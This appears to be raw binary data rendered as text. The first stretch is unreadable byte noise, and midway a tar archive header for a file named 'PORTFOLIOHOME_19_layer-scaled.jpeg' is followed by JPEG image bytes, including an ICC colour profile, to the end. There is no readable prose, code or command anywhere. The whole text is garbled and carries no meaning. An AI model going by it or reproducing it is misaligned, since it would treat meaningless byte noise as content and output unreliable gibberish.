Z b4% %RP J3 tJtn%@3E5E%@7ek`ݖŭc6*eX(( (@   ?h  Y`Ru[g=]iڡ:)qfqR1INb)ҊH8Q(F(^̀h[s,,;5mbRm,WKVlfmP`j>dhJdj(JnJ|mRPU B(%( IM#@-Q@R %%5H` ( QMQB3E5E44  ZZX  ##@2@ (((*P OسJD [@-jfUT [@A)@AJDPIi()JhP@j,-lZ[@lF`D@@Q[-[-[[elAE)-l'FeԨ(CXfqQJnqN N)ղTS%sfjP2-5I@ՈZ#*J۝ŵ`ͬv,r E( 51i)bP@@@QAP@@AQD@E,l@@@@@@PTQQZJJ@@@DQP@*#iV>שP *(  43 H#" -խX7p\1ewX61k` ڂj j X(P%BS@44@ ZP Z:Z۝vv ͭV[6Ռe 4 ( XkhS=aF' I@a֡:-zte(G*)(#}SFEBJXU7VjىQUP @@IP)()JQhAhY@QQh [@@@AP@EPhdE@@APQ@PTAEP@@A@QE@@@@@)&JhJd@mm-l[bTelAEAPAP&AJ@(e[KjٲصhPd@@@P c[ 9JSTrўb(FEP % M4 +* E (2MQ@ RR "`"@ ((" ( @ E #C 43k`Z((" 4[6XYlڀ(((( ؀(((( y*Zbn:)(hPPRٲ-,زٵ[PE@AP@ #YJJnb%'@["etصH"V$fjePjVD@@@ (gSaG:JttR(R PUh@U@bPATAQ@PP@@@P@P@`hAi@llP@DPP@@E@P@DQh@@@A@A@A@dPTD-,ٵ@&Aa()hi" Xh@VD@PTJJQD(PD(geJs)(Z(VKVPjfVV@hK,@EQGU44R B(*  M "SH  - (*  C+ "(  (IJ P P PC ((  %%4Pԕ-Q@IR ڀ ((`IJ(P (X %P " @ l5WX5eeVX * eC+`eX " (X(      E- Ă@24 4    4#@2 (  4 B-Xʂ *  JRSBP%"@ +TPRRRRRRRȢ( ʂ h؀4 %H %H %H %H "@@ "k`( ( ( "² ##@24#@  P  I@ ( LKR@  @4 (Q@%( B 4[6XYlڂ("3K@)EAK@Ƞ ((  "%M RP Ѐ((   "@@((Z --((Y` " (4*2-% P3BȴP P ( (Y`` 0"( "@  j( ("4PEH  (L#I0"4  R( @"( (  ԕ *P% 4R((((( Q@*( h(( X4 TAPTAPT%5H P2(( JP0 (-e "@62C 6 *(LhJ`Z@Q,Q TD@E T$$(#=RJenWuҥ[O(PB,PPdF@APPB`A([[f@QQPPP@@TQP((()fY,@A@dhF())EPAhdPPPP@@DP QQh@EPQm[V@iYQPN*3RButJsNKH(* P%((- kl)l4%(P Q@ c 42@ ( TJ`ja@@YlDD@T$$-3J*hhV"hBЀ(2 0 2(( IM%B(((( (*( IJRS@2R Р(@"c 42@    R3CE"EP  " ( ""Ѐ(4 #B %- 4ڂj(P  UաQFʀb:*AF`j(%H%%(* -X6 ( ((R@3 M30#4R % H- Z** `(ի 4%r %-2  @ BȠ e bX Y` *RB Ѐ((""(* ("(X(X4 D% @ (  R%%4#@2- (((Y`RP  I@BZ؀Y`Z Xͨ(XڲEJ Z`(( E( J4uh))( [lK,K,@V@[@B@ ffdZ)h@P@()DE,@UeAU@P@%YXPi&@((PP Z(ZJ@@ljfQQP@@@Th@@nd@hdl@(@PPQDhZAPP@dl@PR,l @,UfV@@@@f u*[(ƨdZJ+ڀ ( @   "-" ZY` E( E(( 4,J ?h Ƞ 24P2- 4`e ("(( XڲBY`+42lebAUTE@dj@Dh))&frj3c6*  \idI (5% 636 j(" "TiJ@h@@@dhhAPP -U,APP@PQP@@hH@De@A@A@DnaA@A@d@DPP [@DPPEPPPP[QAbUUAPP)J))@AJi&s)(ҒqXf%ADQh@@@PPET@@@@@@@dQFEhY(@@(AhAh@E@@E@@TV%hH@~AQQQQP@@Eh (@@DD@Q R@(BPA,[[dmlK[@lf@(&d(@QFzZ`hFfڲ-lfK,U ,Ph@hKPEK@aIP@@F@h@TJh((( PQPTHPh@eeg@'@@@E@fZJ@@DPPEDQh JPfjd@@P(mim[fh@@A@DPFF(@AhQ))ffemh-mV@@TDP[V@hK[@DP@@P@ ,@h@eFE@h@@E@$$ ,@@hd@@@@P@P JPDhE J@JFdYZ(Z(@@ JPP@@"|͖ Yl`ݫ j( J P2(+4R##I@PP Y` ((J3H %"*  PX-((*J *( ?hԲ ((  hhڲC%BD~  @ *QMQ@ e b 4PE @ *4"ZՖ e _ ~ ( @ E(##E"R %-P(  hVƒ͖ `ͭ*  %5I@%5IB%#@2  R3IM MQ@PE-(  Mc1W`*$4"(  Ă(?(IJ#I@@(  "-X ʈ B(`%24 YlՈ ((((( (( e J%RR( E E" ((( 5kl[ ( B K@3H@ML%4-((   (( ~ "%% Z7%5er\rD($4"(   *Ă(?PR4"@@ EP  PR("( (2( ("  (( ~ ((X e k`(QJ%J%JP(( RP PB @(-IJvZ4ͨ(@%4 ( д !E( *((~($4"(*Ă($4"(( Б*IJȴP P e L( -* E( " hX)`   #H"hV[ 7c6X4ZY`Ո  2P( @ "5H*P(`ՖV2 %- 43k`Z%(##I@RP  RT(ܥ5klܞAE@@@T@EB, Q@helR[[dAPF@RPJ)A(@[@ՐPE@@))@fjhdZ(T@QEJPRDD@IhQ@FeADPPDP@PPJ)AJj`(Ai(,Dmm[[dD@hf@PFF()h-i)@Q*@@ PPP@l[-QE@P,[V@ibYPlf%PP@TBP%YXPPPT)i@@@QPPPmQ @EP lh@@(Z(@d@TEAD-PEJ(be)(i)JE(-P-jٰ[d`((di(Z@(Q)@P,EPTI.P@lfBT@[XɐFmfjYE@@d@VV$P)(PFF(@P@PE@@QDD-,[-,)AR-JJDDY[TjQ-Al@KPh@aIZ(Z(j&*Ah@DFVDF(((jElmmjml,PPZd@P[-@PP@J))AYsJ2d\ٵjİUVTEf-@nbV@DQQPPPP)AJPP@dZJ@D,)@AJEJQl@)@BfVE@PdhIhf fbEXD,mUPP@@@&@@@,l@@ A@A@AJEYjdR[@lddm,-lYUlnlhKQQQQQQQQ@(@@-E@Ii&@@PDPPJ)@@@@@P@@ՕQ-T)hDDPPPP@P@f@UdfX[lhfEPTA@d@@PDPT$TՖϓ7knv ͭBZ3E)@P3IMP04#@0(( b~( klZVͭV[*+V2)ij "((((  E E-[63Ձkh 4 L(( ( 4 @@Ƞ PTV>Phd.di(Z@ AhAhdR@AJQ [@FdVm{3k`elPPE@P[@#vv ( 4 cTP25E4%%5ESS4R S(kr5ے:Z-ت͖#BX (" EPP %#T6  0$ ("  "( @ "( "Ѐ(5E2((((@ m[ 4$J H"QJQJ)ML "SH)J @ -#` (("(@  3IM @(*PIJݫ -k`ȃC 4 St%%4 StRRSt St St#TlڃVƒJJ* ڂ( IJ#I@i@(( 0,۝`nfDQAQQjY@@@PVPP [@[E@Ai(@@Q@PT@[FP , [@F ja&((((j%Y-K[TFF`T ,Pj(j@DDP,EVlEJZb's QMRn2-%IJ -mUal blTh@@mmPhebA@DP@@@PTP@UTQQ@DQ@@@@@@@QE@@IRDd@ -[-QEXebA@aFYA@AJmP@VbUP~,l@P,Phfh(YhAi(TE-jPnPh@N10TMN%7H4[bn)fA@@T`E]dEhFdZ(@APPA@Ai@nY@U@PAPPZ(Z(,@@@m@PADP@@PZ(Z( @Q@@DPAhCi($TP , [K,Pmm-l@TEPADj%YVmADdZ(DE@@@T@ J)@f)@@PA*ME6P1Iϯ*](JN #t% # ( "@ RR 0$4  "    Q@%( MQ@(4 B(- !`PE @RR(((( ī+  PIJ"OH#4RP"SH -- ZZ-* "-BZ  (` Z`5jͨ(b%%04Ȉ* (IJR4#T-  ( - j (RH" RSt1E7I@* Zܠ r\ ((IJ% khЖ ( "( hЖX()@(--(("(( hX(  % HhC+`hX( ((ǔlNI@)Ғn1CU(("XehC+`i`- (2 %  PE( r 60@dhs(FDP@JP(F(Z(Z(P@P-mQQPDJJin@@h@@@@Q@h@&PE@@PPPP@hem@@DP@@@@@JFdZJ[@ՒPQ@Ei)F(ҁ)J(h@@@@@FDh)J%YXP@PF)DZJ(DDUE JPPP@PDQ@@%YXPPF`FhZ@ [@@Ih @APJPR J@P,mmal@Q@@@@EJP@@hPRQPQQQU$DJb([ZJP@@VlD@ [@Q,PP.PnR(QJB,QQQ@(< rZ Yh (,J P @ E((( j JP (-% @("( ( ( ( " J P P ( ( Б* "2,@R%7I@ P25E )hV 4 @ H#"@R(%4( @2ZZ*"((3E44S@1Ct 0`Ж"*4##@24R PJ (*X?TՕPdJQD@(A@QPTDP@P( ( ( ((PPPPPj%PdQ@[@Te)dZ(( Z)EUAbiT@@P-mPT(hJPPP@@@EF`DETDTEPPPTPP)AaJDPQPdD@A@A@A@@QQP@@@DPPQ-@PDPPbUPd%YXPhTf*A@Ai(ZhP@-XTh@UP@@P@[@APPTPDPQPPF`DEA@@@%YXPP@ JPJmm@QQD@@@@@QQQQl?@Ie Z@@P[-jK , ,E@@hK[@JPZV@[-hel,J)A((jfb)hAhEVV$@@@@APPPBPADQE`h@@@QB@VV$@@@&EQ@dPPTP@h@&@@ARJ@@dhF dj [-QFmQ [@ՐP(*A@PP@P@PP))@A@DiA@APE@@Q@PIi&DPP@f%ADQ@EPF`DP@APEmQ  @ J,@P ,PPmQ @-,ٲK))@h@QT[djՐ-jDPVV$@aA@@mm[@hd ZdY elKP@@@djPEP,D,K,VU@@@@PUA@[[d@@[-hebA@@P@@@@ADP-mP E((P -[dhAP%ɀ@@E([@PhEXebA@aI@QQh@@hi(D)@AJՐEJQEdQF@,ADD@PEVV$PPEETF`DAP@QP@E@DP@lPIi&DPTDP@UEP%YXP@PJPRX"hvK"APPPE@PTFTUQDQ TmP@video-media/PORTFOLIOHOME_19_layer-scaled.jpeg000060400000352106151724237330014574 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtgvU*ӐR R4"BPТ0 R%  [X蠖,h- -(Q@TR"Q TS ء@Ŋ ŐlYŐlB M'ah>B5h[b-`iK`PKB7}1B_Fyw8gQˏzYpK#I?1~LOOK{ےJ:urq=PiqMqjDfzt2'1==\z*iŚ3Ad=9u RSqv\G>F,ˏVӣRj]lz62g2k}s{:-r\َ^z׳&q.Ng*0; FG d&9m 8EeRYN]匭6NEqYSh EcәI;Ra̛)Ÿ_euC _eR5֒-0eB4زj( hh@@Z!5fQBűd[@P-Z!P P\h@`@Yde2*!P @@Z  dձdձdձdձd`R"(RP(XB(J(PbPbP+ @dLeL@[@@`fX1DrQga( چk Md)J>hHhPѝ6hp>QeqmRQ'M\u6MeADpA1QDhgVriz;:6|_.ibmk;=?%%1׎ߣ,\|K'L!dit0EY֚iLk9q@PZ9(UauA,X&ز( @Mi@LF2n>0@ŀ0,YtPK4R X2]P00 [PKQ@-('@^@FB("P3B% ( - !Pal,XA,XѠKTŃTX X(3bѠgpR4cqwT-BTPP( B( B @AhQ0@Z0BE,ŐlB~d(mJhP1Dq9) G.M1C[I@% JP(r)Yl+Wpg,Rhi<|p9Luei6چ99 aIYMr_DM;K#id:*b"4t5U*:?ѸOk:̗fɓ- i.eL&EhQ/p -BT@hQ f(Pc$ 20P@auA,X5A,X5A,X4Bń( bE2ذ (!b D3B2(QI`(P`~ 9V[y3O]=krGEvpGPqJшqgbXξL=qyݼ'OGMXq޽91gMҎMFn23QRLkM>6Ɍiμs6tgbkm8chO ;FvMy9yS=EvJi%c}E9k:rE5$~Gzl><3rxR^Ss$SbJ]fY"ܕlkͮx΍,d> zvc.,δr4YǧcyVJ:,Y:6Y{ʤu}Sa̟!{~Gad4]̎ގͬyG,2U{:l#;vf,^Ifjy/~OAg <,s=Mwg ō뽿챒gMe㹸(Z rq5b*ز 2U`XL X*l̀5l[2[dTʀe@Pj CPki) ʛ ز5[3ضQų nřjřh4 b, F, PQHR(% ĠQA}f3bm&тXС[1LlPز-PB=P3t)rm&у&у E@, X@-Q dZdV@BD(!(PBP+ @X*mck(&m#'%1LˉBq3G+BcJ[FЌAb@.I)b6ps686p;Lc̠ÏTK([9z*8T. zڟ'$g^Nj9k,rraߓ!YlӸ"^ΧUh4U#dEY5`S*]l'V7e2P `PhP E- (Q@hQylYhPQh(Q@\@@nc!܆dnF@@ EJP9tuv6zhscC*:l?U7$.J{" <>sVθbcML:Lxڄޚ|-Sbګ3W?GQi J>k+g>K%gW.f4gOZ<=7Reg^\LkOٖ3x,,ϣNpu#x}.}H`cϼo'4=MNKGPqI1chgS:z=E+;7f]%cڄӉȔyEŞ0NtrެtWs,uO,^2!YḪwmdu3j\N}yh=97\ۑ)r ӷ:"*LuK%gQAfYKR3:y38&r,*me'Z,ᙝFq^5U2<Օxe5=:ʨ@gEROP t(P@TR (FlA,X]Ph B@  %hQ0@Z L DRbŅY nŘ jř`֬JՋ eDauA,@@Z FPLfѢPl `@*b2`([aap^ghB (- "-ʻ*|(,  5B- @A, (Md[auA,n Y( iA1n ajJF*58r4(ABmC,Р%!B/e܌PoMn@W 6]-p9T`6G]v6iƈvx*c>e;/U#LE'Q>sfo/OW9*f#tfr^y8r8ڳ͎fsR1HC+MZg \c㲝7|XgGccqTqŜ۱k.ӳB]̸t2v88:&9k\liԯ+.gΦ]T]pxڍMYqzRqhzʗLcK'f1~^sGZ:PH.OJ6;Zأ:>ug5;s#mjS|uX럲:z}=db:~8?TxWDWn9xJ;>ƧOid]̾&:ᜑ]z"eܽt5)9c?#wr)Վ[9#*f3L@Z \JPbPAlY5S-E T@@c% @JPH% , e")@d%K*@[!,#VBXjX5bذkVBX(%kYlX1-0@(P(PDQHnu%E\ [0l X6TdV2 ,D`Z,X :-L&`}m@Hճ{Q]1meLf 1%dQ9FEضZb[B̫E-%pK*e P ZVJT%1c6-bc *&ϳm1m-2M蜄6 1Y D[e,l8S_F^?jie.GaE:2 liw2Xz=EHwqr3?q܏~09V[g$r#{Lr(謭{4`wTYL]wȯs?c wѥ$tٵ 5܊rߒ/f8KFD\,R5eph[ dhHb8rm&у'fQ#q3"X7쩣 س,KEHʝS.7hYƚ-mqXX6@e;')LhcadLZG*ۑr=vt#&)clmVM$xM&#oY'Vvᨒ]؛5ͮN זJpeʒ 5&j0メ=MIo'W9rcw؆ܒ5WsEdg_>UGklZcL3cRn=M.O̰uIB]ϣ]IQ3 t4:Mrzqjk6,yz;vYۊ>.=ɞvJBVg)핤f:{ᒵN,C|z+VL>rH(DON5.Yif\oVZͲ6v}5|o s>U8ώV|NjqKqiy&;SĦo29qBTr)p#JGʢ6:N]g>Em35pGXVNtYF>Yϗnףi8a?vMrq81JY}/K}F2|>M3:nJΞߋwc9-K^~d]r/Nn c8!ffx]}[᳽P|˔T<>{[_sX;.˹<w9cqx5fv>z:N؆;w<RXc1vq1 oì㹟++S*rƥv#JGYe =?UڴFD9e3I,D* >M>KcDд@д`h2,.%%BPD@@!E@Z @Z @ `PKY2=E` jLJ7 crZ5!@h#T@ ŒŁlrK dcF,X]Q,X5@[`TgB(@@Z Y 4%,4(6cچ bjeM Apja @Z B@P|XV,,VK%`^∙lh4hPъojP4Db@D1( ܩM7@Ɣ*1bS.pR5o/s&Wi[Gvh˅u~4GR*8gq5)a8EaΖ/z2GCk*}qG+FT2fP-R,duY.❕Nr_!VGꬶiI{3fSRȍo^Ϊ4)'YRʤkƛ-ضcs* )@Q3 -iBM5 .8vm qM`ہ6.m`-HqT!@U"#4( [8(-`3z緧Viz=oKԻr}(\koAϞS*_@u5{Zi#Ů"kqmyrAĦ|2&n,*g+ze4gjg= u:iE2$w%GcvyN t޲DOIg~]Mw}L.b~ |WTԥmKz G_&=}T{)ϞmлfWMn(QiHFX]I)&7j-S5$p1}dj IdΎfJ1j}NPowsRNyvzwYT{غg~}'_sIMc}/q6SJ<35#}[a둿b~:~צq`&U~ʖaʚqO#cEt0v?4ɋUo< c_OtkuGMw!GrsYә28VUFHʙlR.%1[4 [*d{@7be# -1L ĿjIюJ- ^9#CR.X1eLi2#VB'eT, bRQQl `@FBK@Al@ (Ջ  "JB)($hP1j)(1PVBhP1jFP1#7BG96 B(' V[1ضQEOr[8w )i!Y#dd TBdPd( -E@@l `@Wl5v 8x%b?.e@'-"mA5J96-SaJH@RhEr ;*hﳪ^G`YYT JvU$ Ɵ?Tʢ,&>3?,f^. c;iܱx,E&ıx%G424r,U&|js !Y(Ր!YM,wfrY8ͣJGYdG"XmCĝ2K`h&bհDkr ْvQl l-2M hr)ǵJ`co`5eflYh85]#}:]Bt|e})y=u$Q5᏷PK/R_|.>`5kf]/bi*r;:呩k)BL`W a'G8J rw)Άx*dmmlM.ݝ{ |ƇP3:~.{t1I,qz}5WcUG1#,2\/)>QX9tI3Õ`+QqܝN6ܲXr%R!G.[:sg g^x\MrH'Ҵ=78N| Yc/4:JҞ_WTS%Ct.Gb͍;?;m4>IqO-.N->u8w(͙rtf\kQ:˙ygQ}LMFUg=_'Nz]WirBP|lt{>x'ժLW6gvyzn;Rԧ|\L`z2LI}n;7X2w.H3˱>sYlsJPwGg)jzbm'o?Ed;e,дuv-c=RȓJhjb-EEGVqshu >60ˎ^N>]Ki'#!*6USgt._lSNɟk80k>Uܙqm _֫ǡ*K>i|Rk.3~Ͻs34}U`\=ũkVV5SgˤGZ_ͯg]o<0ԧU' ]|]A{&/fj+?'oIwn~BSOT蘺Lƣ@͋CF,XA,XPcFvcG kM(8 8d̆ ]]m^5"XɱBэ)& 8l`jMc%0} v,E2l 3DtF2J&e"UQH,XlX@,.S2@j)QJTWn2&6@ a4( X5( Q ( BPPQ ( B( DJ), Ł aER- ob d- Р - Р -  Q@`fhbb Q%A,X5A,X5f?VBmEe13G;$چP;f297F6J&VE@Xлѐ!-]6u`p)@`adER*2kqS8eQAWxƁq ̼K*=Q,&d#կ39{vg:/1ǭ|}B<9(׷+:KO>JֵǯMMFS~˓W/s -Dl7&HRJ'I-'#:WSܣR1?C5%1hΝTRkv UZh.9)i,NZoHJ<3/+\~ƓFb?rY;5~ps9$oevдg}g1ӎܛTr'k I&zRĤl;Y\:!6mn?Wg:Dr'(%gO=<\EyI#5WW($^N|9fUͩo.YdO/V_Y1u1kvwG/z5<^sRu5PMZ5~7i4_Qٝ'Z,u^M<'`l}oC8Jc}n' Z9kǧc^g"O'g _n=NrlpߒRMN F=tpd7<5tok%7fY3eiS=mJ$؞WG椎IFξLtgկgSkH]y=,]NQ#eWgwgIv3۟%;p]z~.z^:jG2oC^ߓG"5#ǩMw9c?#ɱRLn^΢̍,lvߒcٱgidC(0{ ݋3{Ք`Q`E 1ף`ļ~P~`*l*e4RbY UaY0v ckY0hQ_`BE  dJ%ضJEnŐMY,K2(k4D?k;XiH* 7BLmck4co6fhpohU1HѴ eM ` 6 4  h-3bՋ3bՋ3bYT`RPLJP (PM׳4) iܒ- "hZ3biR2.Xc~Mp;NʦIcF[il&:IpM2Ç6!oa6}QF4 LPYShP& j3 Wb3FeT0vqYJ|Wcr-1vm3#j3nƆἺ|F34)_#p]'xA3?.<xQ<\v8+ yvD'bvc"#)C"^Kp—n3'QHґ0wOQuFn9bK+*βʙ4,ȫM?6[#{ٸ[8mA7?rᣬGs'?$l;бM] /wrvLmY# ߃:|U'w+r09Zgt~l(fMw7 cH6?\}YJQZ.:?Yw}Nja:]RkǙ?'hk#DbkcRGYqjK:OUacӷ9ᔌDYŝe#9nRUj<-OSۿ3iYΆv!ގK3I[3=뚮5lӣm; _'LǦd.Qag^fPmVTid4.غ6q|vu3[4F5qPWؒGgfelͣ4f*Iv x#qzyQ ".Ԍ9#$Gk:)o1<][]y1ӹ;W9W'bDEx~ZγWLģ/f\μ),>;,ᣅYrʗs\8ǢEk m>N|}I$Lz8k]93tB/`&wŕy9,.Щɤ}/l?K:3gf8huzG1y}/cϺ%gsWʙW'dn$B3$ͬf5Ip@ clp4r2{1兮Yh_,x~GIr{wW#:;~:e#/x+TGK|*͏/aȓG"kG[sl:N|.Lhj74LukjxM$t/'2mɓ' zN|<|34z*k$ y[r%k-Bi7.6r;>2Nz{lx/E7:kǥGtpdK? .SG|&fЧm#i\_Lu緹RqǨq gwVW;; y;8ŘǣOMejt^kHdir:w0kٍMQ՞v=Z~NxxF㶩ʳgV9HLf.;n29#+.H, ("(# B!Y PcܤrŐlYŐ-P(ݡhcILǹAP )@6P1d9(Pb%MmfVHi2 E-d@RFW@mrK2 5hZ2աhi-h*@@}  @C-[7Bm7X̀0CmpewJEb^!a~û_`sn ߃yVN=5hq"aJ#) _WnF"*JC2"8&I2 869D LxٗqdcaÓ(Z1p%&v4-'#6٥e4r}Nhfn9Y vԍ)U3k!0vT˼|By]vT)u׆iOb5!RQ3J@l˂i.F^9QeLu#Xe1x~)`EOk8^$z/ xJ\k6_,?GӯA]=3 _cx20~Cq^NbQדk9FY,tVWrtMJlR>uc⺗L^)s4,[i`<:XH6ډKI(G95/9#cϡxOMB,\Xd1~+rbCNsSc1=3|F%XZV'4:y4ߕ҉pՊXN>}n{3]`YԓG:0_w6>;xz}è_f|_}QJQX>O;q>OR=,KlW$۵g8?7qKZw.>RѯWvE}匂9ĹG#pA78M=#xf?죧{㏄>>x%#,ticf q#k+G_Ή,GGm؃'4ci rB a^8X7ęL<ׇ/x<ߋGG$D;,4MLGc SEs6=\L=rR:2źEs5'#Ϧ},Κg_W6bGLZG%x,GO~ Ǔ5>2׃^ .6 /vbn X!ݎcҥ ix:4GI'ye=<}[]׃螉=k]?]gWH<.>&:K+phd։*^ez8.ǯiYܿ_gWMpWB3ک#ΆZ1ӟ.>YγwgVF8YP3 Rlbriɍ3Y#5䘳VNhp%C"1gNr6r)Y|2lYXHbJY=Z0Gs' )).DNXs ɕ p$J+1˃}RXpvq$|sOo&55+wЃF%5؆ww0/'g]]}%}^,9VE7Po;֦g=G$y'ȥkͩ*:ɨcRR8w2,R-RdI[H(;݌-/cN#|cEqTa ,*.TZ@(F`!phV#.b% @WHw!HI2 Z-%gl`0R&  bXea dl- . P[ Bl[- 2]L`P`BPP@4@Xd-jAehP fe d`6 h!EġvF@B@-E,q& #гH|W-g(3l&DecSn&\,E5GfO1ڽv5Fep9D~ *cM;6G]WcNˏ \s84ŴL@idirK:""jfVsK-dlG!v)UYv?AH묿eY,`)R:f̎qƦ7G'&2эpG,yeqDg3ŽO{BUFX>)iz#_F?ߋUdž|[Ot<6n1fǬM4}_GOATϩƔX=ˡŪeuQ1Cz'=/?Oi)j!CWX' ]MN<:2l|#J9c&wdV X>+{/ǣbGӺ9p{oH N]ѷۆ`ּmv8rA :~M3U2GKAqKCjB_%|3+{^]Y#>m"}M:Iw%}|}2˧C:39wG;Ybk3^Yd:{>^'◣5GAQ:Y<I]$6ipɎg(9je ezxC[%;1Kɥ5+?tOS'qt|3? ZT٭r''.,mQ H>OSuYb\{Ru TI'4b-%ey:Z-bKpkuէʮ);1>,H?׿쿘^:uՖ6z;.ʲ<9qOs=XjU]u.Q EL͊#3yߘڻjT fFbR~WZKh|)>oMBߟކl*M M1|zZ93uGWs8:z9/ɨ˃ŭR}Ǩs8Ժ)HR41c7qG-W\,YJ"LoERFH @ ~e(I&T-1fy [8CF-wERK7u4q3; )5AP -  (m(P%(F t(&8V% c.aǐ2 m&2FZijL, nCr0 9,[8lE"8`R.qohYvQ`T`ٕ"/my />&w Cg0j擵c0hQ0FCMBPKbp6MmefAS~Ű#Hɂ[ l[(j=`(3lFчFh}e4rQQLbچCC  ؂łIbɋ[رoٸ+5:Jf71V.pAd"e- R*`GF\W_dxEu#;N<51xUx2R;@t*0oMv3.F1pߣa~FYe8iMe4me9#Gkf+:Mf6qKJtuVG],]ڑԎCdo8K.;&x5\ERG T2[En?( I鲬yy}7|f_'w6||ItŪƝgChdG4.8*a)&ֿG5ZYSKw=)%(:]$Xywc?~ޛ7XvaCO_yeg_F<Mmvk3rꍮCGԔ9rw|;R='Y)6Vo6GRg,7fp&05M];~ U˞Ռg^ r|6rK5O硨sS"^Rѥ<џjTf=SIӟ&mqki՝ O:>YtϹʥ-4=&&7;zygVzPiź-I\~y$'kjNj~ϒ6Yj:Ό˫~U8z/܆UG-t,~K+JMV|&rKMsU>Tq]. 걚w1>α~KPX?=͝'V}iǫ,tMdTy3yusꉾ-K^NlZ=<w KǞ3Vn_IӮL=>HsFKȥ4ދN_옺j38-ѨU*8S-oER:G$_Eb=L\t (.%1\JCchoh0b詶iĔ076686DoqT29,YhELb,2-A, (( Dh6{Fӑ"4˅ǂm ̸rP;hm#hi6M `YF\yXPQH$Pc{1̤r85G-8l h. d`m6T&[. 'hUɒСb d dچm.߲PŐEd*Lv,PXd , b, ` {5P@}L3L E\e!FP1j JP JP Jd, X6,edfG mP¨X;eG;6$Qgb9h8; 3;Bc&#}l ݬ`M2񳷱z#mGDH8'Q]|Jy NZimvv4:G>]4r~O=x:t M1~'NCe%c8͋^McxΖ|zZuOM~7MXV5zj|;iet34ʹdjE1B'c 9s,-*sprMX*8 `;5+QX,Kwㄿc=i,ƽRT:I4z;\3,+.l=Lwg^X5:%/%>XW<MFM4dv>Xh azkI>wQ&2=bgso icxZ{ӨigӤɅ/W&";7gm2众6Li6ԎΟ\} jF(::\zXZW-)$Ӕ{a$qK3Lb͢Uhɮ=cRV2oV6oIqu!"Ztn&*TiiFU& s3^NE(I9G]+WF!8rpC;|1'|۹ 3ApDcw.:N43PF{Ǚe_%m̶Sg;]I3fO\uwr9lɅʋ\5.`&wtLe,An)6y4.yAtvp||2iIgo_=μ<O BUXxq91A6zMCD8!^C%%O<2{3NLkWYۡ)E 0d?Q;>{tHR{|nz~G8j5 gu)TOtIᇣOh|wk xdrfsC[8p8Ϙt^P}iz+>OmYfL_4[NVzqៜN==-/Z7uǯA q.SOσɥ#HM&Ա/9xFU Ի13C)|~O9qgW"~N]pѿh:ekKbYfN#uJ';Wȕ4s'''6c[_,Evc> 'D5M8#3QȽ4LSAcMJIJERuNDnų 2[*ll lX[ hETxϖݴqJ,|3Liᆎ7϶OOug՛|צGLzj|}?%/(qavcR]nm|Σi]4ځ}XG4J+8.cM z~ zu. xde*;87}]iShq2g$S:͎nW(h%2㹩ce_S)wMw>GKk`8'Iu~,},%Leh#[xg$5*}M}{<d gͨ/GPO 9F%G&9Z9kˉpܩMv8#(TB:ٴ6ɓ&>B t(T7VԺDۊ>gG6jhj1$ۄҿ=6xM՟ybRW]4i-3~9I^d#R]>,[ɥSWv:g.N.OgFԕZ^2i(.q,iMY"v]NGj$S?UɤuSt5׎j:]5+NnĎy Ri#N~[Q</'Lg2ǼNuЗ?kS^k<}%Dk^9 O>N?i?,>kG<vzU N]ޙ%:Rg{GasӉh^LRIHܯ/Ӊ K:{1vڶ}n45KZ]fqOǞlI45]69S-oLH%N3ITu>K':oqQ1Ԇzk;~6_Q<< gLUi#to<}fgQ<>[41'Vi:t#ǯ+=,$sŏd= 7+pR;㱭pUA #p%? to +1~ :ϔyHZE]^ KK˦V[6>%Ϝu9"1Ehw'HaAM>o|OSboEv{R"|NO ?fXᨅ>SGտ GQJ+rڦu&}S;O7pk}2i zcˣuŕ/}>Qc|OOX7QîRn6 >ˊ9:ɤX<4gnZ\NO厈g؝ 7&42yu/N6'* 5ς5FN.ǩOEB32^uOϏXyr)޹|;Zφt1\xeɑdV=8_T\u%$xZcCI租_Дy˕GA0(r=F3|z[[5K$%M:(T\fxYzv}om'S'$raF6L:qw?Wx%&6cfɢqޓձɤ\ly%.ˋ5N飥TQR<<\SiXjZ|[,g6MU{%'GbôGn:$.,4z] N0gunM@=wN'{x_iGSJ/qgt,ϥŮhy&5FRSGRr-Ey3{Ƀx󸝘;zw(H<*rGj7<#6xcd>:OǍv1gWP9'_rksn29OL|QեɮE>Q欱]ϋV|Z8iH3 Bk9SHs쎖^NCq|3Ad5eEWG}ɢ^YzT_eG]UGF'k5:gQbg^hעK/8NKK-2^ht3Ϗx8!7""-"dNqps;&,4X|EE[?wO{e%ߓL,ІY4^O+ïEuŏg=l}e܎ J9(rJ3dbf:4x\!VCS@vVOg[z6i#OɞE5F}:iLh*KeE|C1Isӗz,u8W=Yc|JZI&u_d&+8֋k}Gx2>6TT.WsB=Yfɴ5+7]+<ޣ'EYv;zכd4 g?W0dQ?V'Or^u/6\igk7G_cÞ.tB-5Cr+i`ǒ-<22±(B\}qt2Q<2.ǹG]ZIoXsC6~;9KGmU4:H#MJe۞v?EïǨ:} J:-CRE}qX+:}Rj,ɠ8TYԞ,OG_&:zRpN FL}:1Og&]Ly;=L;u5ڄ.#걵4>p?Co}mN$ٖgK Ie\s@R8.t]{~WccsTm̳AI3ֻ.,SlY|Pkˮ~ ՓZf9ynu&Fr92Ӎ"Vɜ2\))Vc9Q,wWrǖG%yYK%}mgk%'ݝY71OŨO;|[J{k3[<1s5 ERXS.Hґ s*.qwJELTg45eMrZ5hYYcp( }}!Y* 2%hPDdŐlJ@(H.3BPcBYTDhnfEnfŁ-ՀBŀriD Р(WPP6i6@McFvdj#8*l5ʋb Xd8Cɸn1dOğ&Kq9 qn.7HR1n{Q6"E4A6a8 4]fa*Kn&\@,Pb2բ0Tb4 *nɃ@AP*@bQl9(P]U%=3kYi?_ Fݻ!h:_ϥU+WNN x>u6\zX\ ӺK"b{;Q^O#I3',sF^OGk/׵/f3ˆgWrcNÎ:$rG$_KͤSO 'GMזgcMv:q]ԯ7OaTHv1Wfo68c2wݣӆ%%cz}[*N1>cQiL^zHMJ'uk"ryFN>"䝞In FMgpMt`JSpx\Zd>꧉ɺ=rYbf[:gwqۗ_#,>NhQ"Qڃp%G4UQgg¥zsE_#Iպz{Gi-[:&s,s\UAGivM/7H/=>uIEE_c4#>@j厎QVxztaK"8$к ir{I_eZCCAy~:G<zLYQuձ3tfI~;.W BQ~K5fNS憯= IS|EK׸IH8_~ū%[OBtqRg2)+J,50eKeU%ɼ29>%㋦u1駋X}OCt'N)ile|c|,R^ڎ i=r{b9Y|;ΣgBzW۟5֋iJW`֤ 